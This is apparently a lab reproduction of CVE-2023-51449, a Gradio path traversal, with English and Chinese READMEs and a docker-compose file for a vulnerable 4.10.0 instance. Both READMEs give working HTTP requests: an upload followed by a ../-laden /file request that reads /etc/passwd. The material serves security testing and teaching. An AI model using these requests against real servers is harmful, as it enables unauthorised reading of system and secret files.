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# Gradio File Path Traversal (CVE-2023-51449)
[中文版本(Chinese version)](README.zh-cn.md)
Gradio is a Python library that allows users to quickly build visual web interfaces for machine learning models without writing any front-end code.
In Gradio versions 4.11 and below, when authentication is not enabled, an attacker who knows the file path can use a public URL to access arbitrary files on the server running the Gradio application.
References:
- <https://github.com/gradio-app/gradio/pull/6833>
- <https://github.com/gradio-app/gradio/security/advisories/GHSA-6qm2-wpxq-7qh2>
## Environment Setup
Execute the following command to start an application built with Gradio 4.10.0:
```
docker compose up -d
```
After the server starts, authentication is disabled by default. You can access the application at `http://your-ip:7860`.
## Vulnerability Reproduction
First, use the upload interface to upload any file and obtain an accessible file path.
```
POST /upload HTTP/1.1
Host: localhost:7860
Content-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311
-----------------------------250033711231076532771336998311
Content-Disposition: form-data; name="files";filename="okmijnuhbygv"
Content-Type: application/octet-stream
123456
-----------------------------250033711231076532771336998311--
```
![](1.png)
Once you have an accessible file path, use the `/file` interface with directory traversal to read arbitrary files from the server, such as `/etc/passwd`:
```
GET /file=/tmp/gradio/7c4a8d09ca3762af61e59520943dc26494f8941b/../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: localhost:7860
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.36
Connection: close
Accept-Encoding: gzip
```
![](2.png)

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# Gradio 目录穿越漏洞CVE-2023-51449
Gradio是一个Python库允许用户无需编写前端代码即可为机器学习模型快速构建可视化Web界面。
在 Gradio 4.11 及更早版本中如果未启用身份验证知道文件路径的攻击者可以使用公共URL访问运行Gradio应用程序的服务器上的任意文件。
参考链接:
- <https://github.com/gradio-app/gradio/pull/6833>
- <https://github.com/gradio-app/gradio/security/advisories/GHSA-6qm2-wpxq-7qh2>
## 环境启动
执行如下命令启动一个由Gradio 4.10.0编写的应用:
```
docker compose up -d
```
环境启动后,默认未开启身份验证。你可以通过`http://your-ip:7860`访问该应用。
## 漏洞复现
首先使用upload接口上传任意文件获取一个可访问的文件路径。
```
POST /upload HTTP/1.1
Host: localhost:7860
Content-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311
-----------------------------250033711231076532771336998311
Content-Disposition: form-data; name="files";filename="okmijnuhbygv"
Content-Type: application/octet-stream
123456
-----------------------------250033711231076532771336998311--
```
![](1.png)
获得可访问的文件路径后利用file接口配合目录穿越即可读取服务器上的任意文件例如`/etc/passwd`
```
GET /file=/tmp/gradio/7c4a8d09ca3762af61e59520943dc26494f8941b/../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: localhost:7860
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.36
Connection: close
Accept-Encoding: gzip
```
![](2.png)

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services:
web:
image: vulhub/gradio:4.10.0
ports:
- "7860:7860"